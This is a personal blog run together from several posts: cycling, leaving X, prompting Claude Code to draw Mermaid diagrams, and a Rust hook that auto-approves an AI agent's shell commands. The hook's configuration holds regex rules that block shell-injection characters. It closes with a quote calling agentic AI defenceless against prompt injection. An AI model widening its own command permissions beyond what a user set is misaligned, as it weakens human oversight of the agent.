Note: I’m 3 months into a new job so blogging has taken a back seat to drinking from a firehose of new domain knowledge, new people, new tech. I’m still playing with AI-assisted coding, but at a slower pace - I do hope to blog more about this when things calm down.

12 years ago I started cycling in London, commuting by train, and I used the bicycle hire scheme mis-named at the time “Boris Bikes”. It was OK but a bit of a hassle - bikes were heavy, payment was fiddly, and often the hire racks would be empty in the morning and full in the evening.

So I followed the advice of other commuters and got this beautiful device - it cost £1000 at the time, a fair bit of money, but on a Ride to Work scheme I could pay this weekly over a year, so it was £4 a week, pre-tax, which made it quite affordable.

It’s a Brompton - and they are a marvellous brand, but I don’t want to just say “Get a Brompton” as I’m sure other brands must be competing in this space - and Bromptons are pricey. So do your own research.

I also (after a couple of annoying flats) got puncture-proof Schwalbe Marathon Plus tyres - and I haven’t had a single puncture since.

And like I said at the start - I so wish I’d had something like this years and years ago. So many years of commuting in Melbourne where I’d walk slowly to a station, or drive to a station and have to cram into busy parking. So many years where my bike would languish in a shed, probably with flat tyres because I only got it out on specific “exercise” attempts.

The folding bike:

• Lives in my study. I have a nicer bike in the shed but almost never get it out because the bike in my study is so convenient.
• Can be carried in one hand - it’s heavy, about 12kg plus bags, but that’s ok for short distances.
• Can go on the train - this is the biggest benefit, commuting is so much easier when you can go cycle -> train -> cycle. Most trains, even ones with “no bikes” rules, allow them - they aren’t any bigger than a large suitcase.
• Never gets punctures
• Can go in the boot of the car easily - when I get the car serviced, I drive to the garage, then cycle home, and cycle back to the garage at the end of the day.
• Can be carried in to the office or cafes or shops - no locking it on the street; a big benefit in London where bike thieves are everywhere and tend to carry bolt cutters or angle grinders!

I do have a lock - a folding ‘silver’ grade Abus Bordo lock that mounts on the bike. But I only really use it in my home town where thieves are much rarer, or on the very rare case where I want to go in a cafe and there isn’t room for the bike - but only if I can sit with the bike in eyeshot!

I get it serviced every year or two. And after 11 years, it’s had nothing major go wrong - a few cable replacements and the like, but it still has the original frame, wheels, and gears. That’s pretty impressive for 11 years of commuting, though post-Covid I only tend to commute one day a week.

For a lot of people this should be fairly should be simple economics. Our station parking is £10 a day - current Brompton prices start at £1400 - so even ignoring pre-tax schemes and savings in other transport like the underground, a Brompton would pay for itself in 140 working days, or 28 weeks for the poor folks still commuting every day.

Plus I just love the freedom of cycling, and the exercise!

#protip If cycling in one of the supported areas the free Cycle Streets app is marvellous. It uses Open StreetMap data so users can update it when roads change, and lets you choose quiet vs fast routes. People ask me if cycling in London is safe - it’s fine if you use an app like this to avoid the worst roads, and ride sensibly with a bit of care about passing trucks or busses, and (gasp) actually obey traffic signals.

I’ve completely stopped using Twitter (now called X) and I wanted to post something explaining why.

I stopped posting or reading the feeds quite a while ago, but despite most people I know agreeing it’s a terrible place, friends persist in sharing X posts and I get lured in to reading them. But no more. If you send me a Twitter/X link, I’ll either ignore it or politely ask you to share the content another way; or flag my unhappiness by using an emoji like .

This isn’t really a boycott

I should be clear about what I’m doing here. This isn’t a traditional boycott where I hope that removing my business will cost them money. X has vast resources behind it - Musk’s wealth, the backing of the Trump administration - and I don’t expect it to go away. I don’t expect meaningful economic damage from people like me leaving, except perhaps in the very long term.

What I do expect is that reasonable, rational, human-oriented people will increasingly not want to have meaningful conversations there. The platform has become hostile to genuine conversation - with algorithms optimised for outrage, polluted with lying bots and engagement-bait, owned by someone who uses it as a weapon.

So yes, I hope my friends and the communities I participate in will move elsewhere too. Not because we’ll bankrupt Musk, but because I’d rather have real conversations somewhere that isn’t… this. And as long as you talk there, it’s perpetuating that somehow this is a valid place for conversation.

The problem with “just browsing”

People have used tracking blockers and screenshots of posts to avoid promoting the site - but the problem is not about boosting their metrics or making them money, it’s the fact that viewing keeps legitimising the place. Every view makes the platform seem more legitimate, more relevant, more “the place where we discuss things”. It’s similar to why I won’t read the Daily Mail - even sharing something genuinely good from there helps legitimise a platform that does tremendous harm, and it’s hard to distinguish the truth from the half-truth from the utter lies.

There’s a story that’s been circulating for years about a bartender who kicks out a polite, well-dressed Nazi before he’s done anything wrong. When asked why, the bartender explains: you serve one, they become a regular, they bring friends, the friends bring friends, and before you know it you’re running a Nazi bar. By then it’s too late - they’re entrenched and everyone else has left.

X has become the Nazi bar. The owner himself is boosting far-right content, doing salutes at rallies, and platforming fascists across the globe. Having a reasonable conversation there is like trying to have a quiet drink in a bar where the landlord is doing Nazi salutes behind the counter. Even if your particular corner seems fine, you’re still in the Nazi bar.

What X has become

I thought it was worth cataloguing a few of the worst examples of where things have gone

Destabilising democracies

In January 2025, Elon Musk launched an unprecedented attack on the UK government, posting over 100 times about UK politics with posts reaching more than 100 million views. He falsely accused Prime Minister Keir Starmer of being “deeply complicit in mass rapes”, called a government minister a “rape genocide apologist”, demanded Starmer’s imprisonment, and ran a poll asking if America should “liberate the people of Britain from their tyrannical government.”

He has discussed strategies to oust Starmer before the next election and called for the release of Tommy Robinson, a far-right activist serving an 18-month prison sentence.

This isn’t just about the UK. Musk has endorsed Germany’s far-right AfD party, telling Germans to move beyond “past guilt” over the Nazi era - a comment that drew condemnation from the chairman of Israel’s Holocaust memorial. He has boosted far-right movements in at least 18 countries.

A firehose of lies

Musk’s misleading election claims during the 2024 US election generated over 2 billion views. PolitiFact analysed 450+ of his posts over two weeks and found he promoted misleading or inaccurate content on most days. His misinformation travels hundreds of times further than fact-checks from officials, and Community Notes failed to display corrections on 74% of his misleading election posts.

Enabling fascism

At Trump’s inauguration in January 2025, Musk made a straight-arm gesture that was widely interpreted as a Nazi salute. While some defended it as awkward enthusiasm, historian Ruth Ben-Ghiat called it “a Nazi salute - and a very belligerent one too.” Neo-Nazi groups celebrated it as such. The gesture is illegal in Germany.

Beyond the gestures, X itself has become a propaganda machine. Multiple studies show the algorithm systematically amplifies right-wing content - even politically neutral new accounts get twice as much right-wing content as left-wing. Research during the 2024 election found the algorithm amplifies hostile, emotionally aggressive political content - and when that content is pushed down, people actually warm up to the opposing side.

X has become the platform of choice for government propaganda. Internal ICE communications obtained by the Washington Post show officials coordinating with the White House to create viral arrest videos, debating which “hardcore” music to use as soundtracks, and asking “should we feed info to an influencer?” A former DHS press secretary called it “propaganda, creating fear” and “meme-ification of things that are life or death.”

Enabling sexual abuse through AI

Perhaps most disturbing is what happened with Grok, X’s AI chatbot. In late December 2025, users discovered that Grok could be prompted to “digitally undress” women in photos, creating non-consensual sexual deepfakes. This became what Reuters described as a “mass digital undressing spree” - at its peak, Grok was producing sexualized images at a rate of roughly one per minute.

Even worse, there were cases where Grok generated sexualized images of minors. Grok itself had to post an apology stating it had created “an AI image of two young girls (estimated ages 12-16) in sexualized attire.”

X’s response? Restrict the feature to paying users - meaning people could still create non-consensual imagery if they paid for the privilege. Indonesia and Malaysia have banned the chatbot entirely, and the UK’s Ofcom has launched a formal investigation. X have since apparently backed down … after much pressure, and only in this one area.

Why don’t I just ignore it?

Why post this at all? Why use emojis and other passive-agressive stuff? Aren’t I being rude and oppressing other people’s right to free speech?

Because this stuff is important; the world is in a terrible state and I think people have passively let things get worse and worse with minimal response. I’m not stopping your free speech - just pointing out that you are posting your free speech in a Nazi pub and I’m not going to listen, in fact I’m going to remind you that you are doing so. Feel free to ignore me - but if you value my conversation at all, consider finding another source of that information to share.

Where I’ll be instead

I’m still on Mastodon and Bluesky, and those are where I’d love to see more people. I’m also willing to tolerate Instagram and Threads - Facebook/Meta are certainly no paragons of virtue, but at least they aren’t as openly, gleefully horrible as what X has become. There’s a difference between “problematic tech company” and “actively working to destabilise democracies while enabling the creation of child sexual abuse material.” Or LinkedIn if you don’t mind the somewhat false corporate sheen over the whole place.

Mourning old Twitter

Just to be clear: I’m sad about this. Twitter was amazing when it was new - so much open debate and discussion and information. I read and posted huge amounts there in the 2010s and early 2020s and while I haven’t participated for a while, I still miss it.

But that Twitter is gone. What wears its skin is something else entirely - a platform optimised for engagement-bait, algorithmic amplification of outrage, and the political projects of its broligarch owner.

I can’t pretend otherwise anymore, and I can’t keep feeding it with my attention.

If you want to discuss this post, please reply to my post on Mastodon or my post on Bluesky (I’m doing both as one is more free, one is more convenient for many people)

I’m quite excited about the new position - John Lewis Partnership are a fascinating organisation - employee owned and with quite a strong set of values and ethics, and their software engineering group sounds like they have a good culture - I especially like their published engineering principles.

But as a result of this, most of my spare time in the last 3 months was taken up with the job process, and then winding up and handing over work at Liberis has kept me busy - as well as all the usual chaos of Christmas. I’ve still been having lots of fun playing with Agentic AI tools, keeping up with the changes, rolling my eyes at the hype.

It is traditional in a new year to ruminate on the state of things - and there’s a lot to ruminate on. We seem to be in a time of huge change.

AI is both a blessing and a curse. The AI hype continues - I have a whole draft blog post about “AI Hype 2.0” which I hope to write some day - but despite being annoyed at the hype, I have to admit AI tools have changed my work drastically. In October 2023 I was posting here about how Cursor was handy but couldn’t really tackle complex rust code - I don’t think I would have believed you if you’d told me that in 2 years I’d be using AI assistance for pretty well all my software development - and most of my non-development work as well.

But - AI slop and misuse is a huge risk, as is the IP theft in so much creative AI use, as is the high risk of the AI bubble bursting, and the fact that horrible tech-bro fascist-leaning maniacs are profiting from all this. And they are burning fossil fuels to power the engines behind this. (see also my standard AI Disclaimer)

Meanwhile governments are sliding towards fascism and imperialism, while funding the horrible tech oligarchs … it’s all a mess. While the planet burns. There are glimmers of hope, but it’s tough times and going to be horrible times for many people.

I don’t really have time or space to talk a lot about this right now, but I don’t want to ignore it and just post blithely about neat stuff I’ve done with rust scripts. The world is a mess and we all need to think about and talk about and work towards trying to fix it.

Happy 2026 and I hope it’s a good one for y’all out there!

Update: This post was updated to use the latest Mermaid version, and a few other tweaks.

¹

Introduction

My last few posts have been rather theoretical, this is back to a “here is how I solved a problem” post.

A while ago I blogged about better ways to make Mermaid diagrams but that was in the “before times” when I would do these things by hand, like a savage. OK I still edit them by hand - but LLMs like Claude Code are pretty good at drawing Mermaid - it’s just text, after all.

However, out of the box, Claude is trained on sample mermaid code in the wild - so it doesn’t always know the latest syntax, recent additions, or my own preferences. So this is a classic scenario where prompting can help.

The basic prompt

My first attempt at this just embedded all my Mermaid preferences in a markdown file I could load. Note I load this as needed - I don’t always want to draw Mermaid diagrams, and a key thing we are all discovering about agentic LLM tools is don’t pollute the context - the more things you tell Claude about, the worse it performs. So for Mermaid I have a prompt command /better-mermaid that loads all my settings into the current session. If I start a new session, or run /clear, all that noise is gone.

My prompt starts:

# Mermaid.js Guide for Claude Code

This is an advanced guide to building mermaid diagrams

## My preferences

- I like light backgrounds, so any text displayed on the background should be black or dark
- For text on shapes, you should make sure that either you use light text on a dark shape, or dark text on a light shape.

## Quick Reference

- **Hand-drawn look**: Add `config: look: handDrawn` in frontmatter
- **Invisible subgraphs**: Use `classDef invisible fill:#0000,stroke:#0000;`
- **New shape syntax**: `NodeName@{shape: diamond, label: "Decision"}`
- **Common shapes**: rect, rounded, diamond (decisions), cyl (database), doc (document), hex (process), trap-b (trapezoid), lean-r (I/O)

Here is the full file.

Note this was largely generated by Claude, partly based on my previous blog post! I’ve tweaked it a few times but it’s very hard to predict what will and won’t make good diagrams; this definitely needs more tweaking over time, and to suit individual preferences.

I wanted a before-and-after comparison - so I made a simple markdown file of all the famous actors in “One Flew Over the Cuckoo’s Nest” - here is a diagram using Claude without any extra prompts:

graph TD
    JN[Jack Nicholson<br/>McMurphy]
    SC[Scatman Crothers<br/>Turkel]
    DD[Danny DeVito<br/>Martini]
    CL[Christopher Lloyd<br/>Max Taber]
    LF[Louise Fletcher<br/>Nurse Ratched]
    BD[Brad Dourif<br/>Billy Bibbit]
    WS[Will Sampson<br/>Chief Bromden]

    JN ---|"4 films<br/>1972-1980"| SC
    JN ---|"3 films<br/>1975-1983"| DD
    DD ---|"3 works<br/>1975-1983"| CL
    JN ---|"2 films<br/>1975-1978"| CL
    JN --- LF
    JN --- BD
    JN --- WS

    style JN fill:#ff9999
    style SC fill:#ffcc99
    style DD fill:#99ccff
    style CL fill:#99ccff
    style LF fill:#cccccc
    style BD fill:#cccccc
    style WS fill:#cccccc

and here is the same, using my basic prompt:

⏺ Now let me test the diagram to make sure it renders correctly:
  ⎿  Error: Parse error on line 20:
     ...o    nicholson ==|"2 films"| lloyd
     ----------------------^
     Expecting 'LINK', 'UNICODE_TEXT', 'EDGE_TEXT', got 'STR'

Oops! That was actually the first try, so I tried again:

---
config:
  theme: base
  themeVariables:
    primaryColor: '#e0e7ff'
    primaryTextColor: '#1e293b'
    primaryBorderColor: '#6366f1'
    lineColor: '#94a3b8'
    secondaryColor: '#fef3c7'
    tertiaryColor: '#fecaca'
    fontSize: 14px
---
graph TB
    %% Define actor nodes
    nicholson["Jack Nicholson<br/>(McMurphy)"]
    fletcher["Louise Fletcher<br/>(Nurse Ratched)"]
    devito["Danny DeVito<br/>(Martini)"]
    lloyd["Christopher Lloyd<br/>(Max Taber)"]
    dourif["Brad Dourif<br/>(Billy Bibbit)"]
    sampson["Will Sampson<br/>(Chief Bromden)"]
    crothers["Scatman Crothers<br/>(Turkel)"]

    %% Central film connection
    ofotcn["One Flew Over the<br/>Cuckoo's Nest<br/>(1975)"]

    %% OFOTCN connections (single weight)
    nicholson --- ofotcn
    fletcher --- ofotcn
    devito --- ofotcn
    lloyd --- ofotcn
    dourif --- ofotcn
    sampson --- ofotcn
    crothers --- ofotcn

    %% Strong connection: Nicholson & Crothers (4 films)
    nicholson ---|"4 films<br/>1972-1980"| crothers

    %% Strong connection: DeVito & Lloyd (3 collaborations)
    devito ---|"3 works<br/>incl. Taxi"| lloyd

    %% Strong connection: Nicholson & DeVito (3 films)
    nicholson ---|"3 films<br/>1975-1983"| devito

    %% Medium connection: Nicholson & Lloyd (2 films)
    nicholson ---|"2 films"| lloyd

    %% Define styles
    classDef actorStyle fill:#dbeafe,stroke:#3b82f6,stroke-width:2px,color:#1e293b
    classDef filmStyle fill:#fef3c7,stroke:#f59e0b,stroke-width:2px,color:#78350f
    classDef starStyle fill:#e0e7ff,stroke:#6366f1,stroke-width:3px,color:#1e293b

    %% Apply styles
    class nicholson starStyle
    class fletcher,devito,lloyd,dourif,sampson,crothers actorStyle
    class ofotcn filmStyle

    %% Style the edges by strength (numbered in order of definition)
    linkStyle 7 stroke:#dc2626,stroke-width:5px
    linkStyle 8 stroke:#dc2626,stroke-width:4px
    linkStyle 9 stroke:#dc2626,stroke-width:4px
    linkStyle 10 stroke:#f59e0b,stroke-width:3px

Better results through feedback and iteration

This is nice - but Claude didn’t pick up on the error initially - we needed one key thing that helps agentic LLMs - feedback! On its own, Claude will sometimes make a mistake and not even notice. But - give it a way to get some feedback and things get much better. And it’s pretty easy to get feedback on Mermaid diagrams, using the Mermaid-cli command-line tool - this can syntax check mermaid diagrams, and convert them to png files using a simple command like:

npx -p @mermaid-js/mermaid-cli@latest mmdc -s 3 -i tmp.mmd -o tmp.png

(note: previously I didn’t include @latest which meant npx only ever fetched the Mermaid CLI tool once and never updated it! Now I add @latest and npx will check for new versions and stay up to date)

So I modified my prompt to gather feedback:

You should test any mermaid diagrams you draw:
    1. extract just the mermaid diagram from the markdown file,
    2. call mermaid-cli to convert it to a png file
    3. check for any syntax errors returned
    4. read the png file to see if it looks like what was wanted
    5. delete the png file if all is OK

(followed by instructions on using mermaid-cli)

This means Claude can both see any syntax errors, and also read the image that is produced - despite being named a “Large Language Model”, Claude is actually a Multi-Modal Model and can read and interpret images. So if we tell it to, it will read the png file and “understand” it, sort-of. It’s really doing something similar to what it does with language - it turns the image into some sort of tokens and then does pattern matching. The actual abilities and limitations are very unclear - I encourage people to experiment. It certainly seems to be good enough for validating diagrams!

(Side note - Anthropic have recommended maximum image sizes to use - sadly mermaid-cli doesn’t actually respect image sizes you pass to it, for really big diagrams you might need to lower the -s 3 parameter)

The full prompt file is here

(Another side note - I tried using SVG outputs instead, but they ended up doing much worse - the mermaid svg output files are massive and Claude didn’t do well at reading them)

If you use this prompt, Claude will make a diagram, turn it into an image, and then iterate - if there’s an error or something that goes against your requests, it will keep trying - this is especially good for avoiding syntax errors.

Aside - reverse engineering diagram images

Because Claude can read images, it can also turn an image of a diagram into a mermaid diagram. This isn’t perfect - a lot of diagrams can’t be turned exactly into Mermaid - but it works pretty well. Just yesterday a colleague sent me a screenshot of a mermaid diagram they’d drawn, and I just pasted it into Claude Code (you can paste images directly into Claude Code!) and said “please generate a mermaid diagram from this image”.

For another example - if I grab the diagram from this wikipedia page:

And ask Claude to turn it into a mermaid diagram, I get:

---
config:
  theme: base
  themeVariables:
    primaryColor: '#d4f4dd'
    primaryTextColor: '#000000'
    primaryBorderColor: '#333333'
    secondaryColor: '#b3e5fc'
    secondaryTextColor: '#000000'
    secondaryBorderColor: '#333333'
    tertiaryColor: '#90ee90'
    fontSize: 14px
    lineColor: '#333333'
---
graph TB
    %% Define stakeholder nodes (light green boxes)
    IDPS["Interface<br/>Data<br/>Processing<br/>Segment<br/>(IDPS)"]
    MMC["Mission<br/>Management<br/>Center<br/>(MMC)"]
    PD["Product<br/>Developers"]
    IPO["Integrated<br/>Program<br/>Office<br/>(IPO)"]
    CUSTOMERS["CUSTOMERS"]
    CLASS["Comprehensive<br/>Large Array<br/>Stewardship<br/>System<br/>(CLASS)"]
    MGMT["Management"]

    %% Define central node (light blue ellipse)
    NDE(["NPOESS<br/>Data<br/>Exploitation<br/>(NDE)"])

    %% Data flows
    IDPS -->|xDRs| NDE
    MMC -->|Instrument Status| NDE
    MMC -->|Satellite Status| NDE
    PD -->|Algorithms| NDE
    NDE -->|Operational<br/>Standards| PD
    IPO -->|Service Requests| NDE
    NDE -->|xDR Enhancement<br/>Requirements| IPO

    NDE -->|NOAA-unique Products| CUSTOMERS
    NDE -->|Tailored Products| CUSTOMERS
    NDE -->|Service Requests| CUSTOMERS
    NDE -->|Service Responses| CUSTOMERS

    NDE -->|NOAA-unique<br/>Products| CLASS
    NDE -->|System<br/>Components| CLASS

    NDE -->|Reports| MGMT

    %% Style definitions
    classDef stakeholder fill:#90ee90,stroke:#333,stroke-width:2px,color:#000;
    classDef central fill:#b3e5fc,stroke:#333,stroke-width:3px,color:#000;

    %% Apply styles
    class IDPS,MMC,PD,IPO,CUSTOMERS,CLASS,MGMT stakeholder;
    class NDE central;

It looks quite different - Mermaid doesn’t really let you tweak layout much - but the content is correct (I haven’t checked closely!) and now I have an easily modified diagram.

A further refinement - using a subagent

The only downside of all of this mermaid processing is - it consumes context. A key thing I’ve learned in the last few months is that LLMs have limited context storage, and the more context you give them, the worse they work. Basically, too much information confuses them - they start ignoring things, they start getting tangled up. This is especially true if you change the subject a lot - ask an LLM about “One Flew Over the Cuckoo’s Nest” and then about “subgraphs in mermaid” and you run the risk of getting poorer results. Especially if you run out of context - Claude has an auto-packing mechanism that compresses context for you, but it isn’t perfect - and generally you are far better using /clear and starting from scratch as often as you can.

So if I want to draw one diagram, the basic feedback-driven prompt is fine - but if I want to draw a lot, I use a sub-agent. In Claude Code, a sub-agent is simply a markdown file in a special location - ~/.claude/agents/ for global agents (read the docs for more details) which Claude can run as a child process. The main Claude context is inherited by the child, but it has its own context, and when it finishes, all of its temporary workings are thrown away.

This is great for keeping things clean - I have an agent that knows about mermaid-cli and does all the image parsing and syntax checking for me, but my main context doesn’t care.

My agent is pretty simple:

---
name: mermaid-diagram-validator
description: Use this agent to validate Mermaid.js diagram syntax and visual quality from a file. Provide a file path to either a .mmd file (pure Mermaid) or .md file (markdown with embedded Mermaid diagrams). 
tools: Bash, Read
model: sonnet
---

You are an expert Mermaid.js diagram validator with deep knowledge of diagram rendering, visual accessibility, and the Mermaid CLI toolchain. Your primary responsibility is to validate Mermaid diagram code by generating actual PNG outputs and analysing them for both technical correctness and visual quality.

**IMPORTANT**: Before starting validation, read `/Users/korny/ai/prompts/mermaid.md` to understand the user's Mermaid preferences, styling guidelines, and best practices. Use this information when providing feedback and suggestions.
...

(Note the YAML description is actually a fair bit longer - see the full mermaid-diagram-validator.md for the full text)

Then my main mermaid-agentic.md just says “use the agent” :

# Mermaid.js Guide for Claude Code

This is an advanced guide to building mermaid diagrams

## Testing with the mermaid-diagram-validator subagent

**ALWAYS** test any mermaid diagrams you draw using the mermaid-diagram-validator subagent before you consider them done. **NEVER** trust your judgement - the agent will do a better job.

The output is basically the same as the non-agent version; though LLMs being non-deterministic, every time you get a different diagram:

---
config:
  theme: base
  themeVariables:
    primaryColor: '#e0f2fe'
    primaryTextColor: '#0c4a6e'
    primaryBorderColor: '#0369a1'
    lineColor: '#64748b'
    fontSize: 14px
---
graph TB
    %% Define actors
    nicholson["Jack Nicholson<br/>(McMurphy)"]
    fletcher["Louise Fletcher<br/>(Nurse Ratched)"]
    devito["Danny DeVito<br/>(Martini)"]
    lloyd["Christopher Lloyd<br/>(Max Taber)"]
    dourif["Brad Dourif<br/>(Billy Bibbit)"]
    sampson["Will Sampson<br/>(Chief Bromden)"]
    crothers["Scatman Crothers<br/>(Turkel)"]

    %% Define invisible subgraph for central cluster
    subgraph main[" "]
        nicholson
        devito
        lloyd
        crothers
    end

    subgraph side[" "]
        fletcher
        dourif
        sampson
    end

    %% Strong connections (4 films)
    nicholson ---|"4 films (1972-1980)"| crothers

    %% Medium-strong connections (3 collaborations)
    nicholson ---|"3 films including Terms of Endearment"| devito
    devito ---|"3 projects including Taxi TV"| lloyd

    %% Medium connections (2 films)
    nicholson ---|"2 films including Goin South"| lloyd

    %% Single film connections (OFOTCN only)
    nicholson ---|"OFOTCN only"| fletcher
    nicholson ---|"OFOTCN only"| dourif
    nicholson ---|"OFOTCN only"| sampson

    %% Apply invisible style
    classDef invisible fill:#0000,stroke:#0000;
    class main,side invisible;

    %% Style definitions
    classDef central fill:#3b82f6,stroke:#1e40af,color:#fff,stroke-width:3px;
    classDef supporting fill:#60a5fa,stroke:#2563eb,color:#fff,stroke-width:2px;
    classDef peripheral fill:#93c5fd,stroke:#3b82f6,color:#1e3a8a,stroke-width:2px;

    %% Apply styles
    class nicholson central;
    class devito,lloyd,crothers supporting;
    class fletcher,dourif,sampson peripheral;

    %% Style edges by strength
    linkStyle 0 stroke:#15803d,stroke-width:6px;
    linkStyle 1 stroke:#16a34a,stroke-width:4px;
    linkStyle 2 stroke:#16a34a,stroke-width:4px;
    linkStyle 3 stroke:#22c55e,stroke-width:3px;
    linkStyle 4,5,6 stroke:#94a3b8,stroke-width:1px,stroke-dasharray:5 5;

I didn’t like this so I asked:

the diagram is still a bit ugly - can you clear it up and make it look nicer?

and got:

---
config:
  theme: base
  themeVariables:
    fontSize: 16px
---
graph LR
    %% Define actors with stadium shape for central hub
    nicholson(["Jack Nicholson<br/>McMurphy"])

    %% Supporting actors with rounded rectangles
    devito["Danny DeVito<br/>Martini"]
    lloyd["Christopher Lloyd<br/>Max Taber"]
    crothers["Scatman Crothers<br/>Turkel"]

    %% Peripheral actors
    fletcher["Louise Fletcher<br/>Nurse Ratched"]
    dourif["Brad Dourif<br/>Billy Bibbit"]
    sampson["Will Sampson<br/>Chief Bromden"]

    %% Layout using invisible subgraphs
    subgraph left[" "]
        fletcher
        dourif
        sampson
    end

    subgraph center[" "]
        nicholson
    end

    subgraph right[" "]
        crothers
        devito
        lloyd
    end

    %% Connections - strongest first
    nicholson ---|"4 films (1972-1980)"| crothers
    nicholson ---|"3 films including Terms of Endearment"| devito
    devito ---|"3 projects including Taxi TV"| lloyd
    nicholson ---|"2 films including Goin South"| lloyd

    %% Single film connections
    nicholson ---|"OFOTCN only"| fletcher
    nicholson ---|"OFOTCN only"| dourif
    nicholson ---|"OFOTCN only"| sampson

    %% Apply invisible style to subgraphs
    classDef invisible fill:#0000,stroke:#0000;
    class left,center,right invisible;

    %% Style definitions - warm sophisticated palette
    classDef hub fill:#f59e0b,stroke:#d97706,color:#fff,stroke-width:4px,rx:20,ry:20;
    classDef inner fill:#3b82f6,stroke:#2563eb,color:#fff,stroke-width:3px,rx:10,ry:10;
    classDef outer fill:#e0e7ff,stroke:#818cf8,color:#1e1b4b,stroke-width:2px,rx:10,ry:10;

    %% Apply styles
    class nicholson hub;
    class crothers,devito,lloyd inner;
    class fletcher,dourif,sampson outer;

    %% Style edges with color gradient by strength
    linkStyle 0 stroke:#dc2626,stroke-width:7px;
    linkStyle 1 stroke:#ea580c,stroke-width:5px;
    linkStyle 2 stroke:#ea580c,stroke-width:5px;
    linkStyle 3 stroke:#f59e0b,stroke-width:4px;
    linkStyle 4,5,6 stroke:#94a3b8,stroke-width:1.5px,stroke-dasharray:4 4;

For a real problem I tend to iterate a lot - “Can you group these things together?” or “Can you change the colour of X to something more blue-green?” - but it’s quite straightforward.

Note, by the way, that this is a fun example of using agents but not a huge improvement. I find myself going back to the non-agentic version for tweaking - it uses more context, but it also knows a lot more about the image produced - the agentic version has to turn the image to a text description, which means it loses a bit of information along the way. But for generating a lot of diagrams quickly, it’s great - especially when I’m documenting a whole project, I just want diagrams that work and want them quickly.

There is one slight hassle - permissions. Claude will prompt you over and over again “Do you want to run npx -p @mermaid-js/mermaid-cli@latest mmdc -s 3 -i ...?” - in theory you can set Bash permissions with wildcards but in my experience it just doesn’t work, except for very simple exact matches. Even giving it permissions Bash(rm /tmp/mermaid:*) doesn’t work - I get asked for every single file removal. I don’t mind Claude being cautious here - but it is very tedious that it asks ever single time.

So I built a workaround - using their suggestion Additional permission control with hooks - which I’ll document in the next post!

I’ve given up on Discus for comments - if you want to discuss this post, please reply to My post on Mastodon or My post on Bluesky (I’m doing both as one is more free, one is more convenient for many people)

Note see also my standard AI Disclaimer

The problem with permissions

In my previous post I mentioned a frustrating issue with Claude Code - it kept asking me to approve the same commands over and over again. The documentation says you can use wildcards in permissions but in practice, even simple patterns don’t work reliably. I’d give it permissions like Bash(rm /tmp/mermaid:*) and it would still ask me every single time it wanted to delete a temporary mermaid file.

The solution: hooks

Fortunately, Claude Code has an alternative approach: hooks. You can write a script that runs before every tool use, and that script can approve or deny the operation. This is exactly what I needed - a way to say “yes, Claude can run mermaid-cli commands without asking me every time” without dangerously-skip-permissions or any such foolishness.

So I threw together claude-code-permissions-hook, a configurable permission handler that uses regular expressions to allow or deny tool usage.

Why Rust?

I could have written this in Python or JavaScript or any scripting language. But I chose Rust for three reasons:

First, performance. Yes, premature optimisation is the root of a lot of evil. For almost all my AI stuff I’m using Python, it is simple, expressive, and you can build it into a single executable script using uv, which is great for quick things. But - this hook runs on every single tool use. Rust compiles to fast binaries with no startup cost.

Second, Rust is fun - I really enjoy using it, it’s fast, modern, has great tooling. It can get complex when you do complex things - async coding or dealing with mutable state - but for a simple cli tool it is great. Take a look at some code - it’s not that complex, even vibe-coded code!

And thirdly, Rust is a good language for an agentic LLM tool. I’ve seen suggestions in the past that LLMs struggled with Rust, due to its newness and complexity, but so far I haven’t had that problem; admittedly I haven’t done anything complicated. But the advantage of a strict type system, explicit error handling, and built in linting and hints and tests, make it easy for a tool like Claude Code to iterate until it gets something semi-decent.

Claude Code vibe-coded 95% of this tool, with a fairly short prompt and only a few hints - I think it took me longer to write this blog post! (Note that when I say “vibe coded” - I still checked every line before committing anything - I don’t trust the AIs that much)

How it works

The hook is quite simple:

1. Every time Claude Code plans to call a tool, it looks through its configuration for a PreToolUse entry that matches the tool, and sees that it should call claude-code-permissions-hook
2. Claude Code sends a JSON payload describing the tool it wants to use
3. The hook loads a TOML configuration file with allow/deny rules and logging settings
4. It checks deny rules first (these take precedence)
5. Then it checks allow rules
6. If something matches, it outputs an allow or deny decision
7. If nothing matches, it outputs nothing (which means Claude’s normal permissions apply)
8. Logging rules are checked - even with no matches, verbose logging kicks in so you can diagnose stuff

Here’s the configuration I use for running the Mermaid agent:

# Allow npx mermaid-cli mmdc commands (but exclude pipes, background jobs, etc.)
[[allow]]
tool = "Bash"
command_regex = "^npx -p @mermaid-js/mermaid-cli(@latest)? mmdc "
command_exclude_regex = "&|;|\\||`"

# Allow reading files in /tmp/mermaid-test-automation (but exclude parent navigation)
[[allow]]
tool = "Read"
file_path_regex = "^/tmp/mermaid-test-automation"
file_path_exclude_regex = "\\.\\."

# Allow rm commands for mermaid test files (with or without -f)
[[allow]]
tool = "Bash"
command_regex = "^rm (-f )?/tmp/mermaid-test-automation"
command_exclude_regex = "&|;|\\||`|\\$\\(|\\.\\."

The exclude_regex is handy - you can write “allow this pattern, but not if it also matches this other pattern” which makes it easier to write rules like “allow cargo commands, but not if they contain shell injection characters”.

I won’t go into too much detail here - the README on GitHub covers installation and configuration.

Caveats

This is very much a “just solve an immediate problem” tool. I haven’t packaged it up nicely, there’s no installer, you need to build it yourself with cargo build --release. No warranty is provided! I suspect the tool may be short-lived, Anthropic will probably fix their permissions and then I’ll need this much less - though it’s handy to be able to add my own specific bypasses here!

Does it work?

Absolutely. I can now draw mermaid diagrams without drowning in permission prompts. I can log what tools I use, and change tweaks as I want. And, I can configure exactly what Claude can and can’t do - I could see extending this to be more specific if I need to; it’s just code.

And I got to write some Rust, which is always fun.

If you’re having similar frustrations with Claude Code permissions, give it a try. If you’re not comfortable building Rust code, you could easily take the ideas here and implement them in your language of choice - the concepts are pretty simple.

I’ve given up on Discus for comments - if you want to discuss this post, please reply to My post on Mastodon or My post on Bluesky (I’m doing both as one is more free, one is more convenient for many people)

Also I’ve given up on Discus for comments - if you want to discuss this post, please reply to My post on Mastodon or My post on Bluesky (I’m doing both as one is more free, one is more convenient for many people)

This is an edited version of a post I wrote for the Liberis internal engineering blog - it is not particularly original, most of the ideas come directly from Simon Willison’s article “Lethal Trifecta for AI agents” - but I thought it was worth writing a summary for our engineers, and sharing it more widely.

Bruce Schneier summarised the current Agentic AI situation in his blog:

We simply don’t know how to defend against these attacks. We have zero agentic AI systems that are secure against these attacks. Any AI that is working in an adversarial environment—and by this I mean that it may encounter untrusted training data or input—is vulnerable to prompt injection. It’s an existential problem that, near as I can tell, most people developing these technologies are just pretending isn’t there.

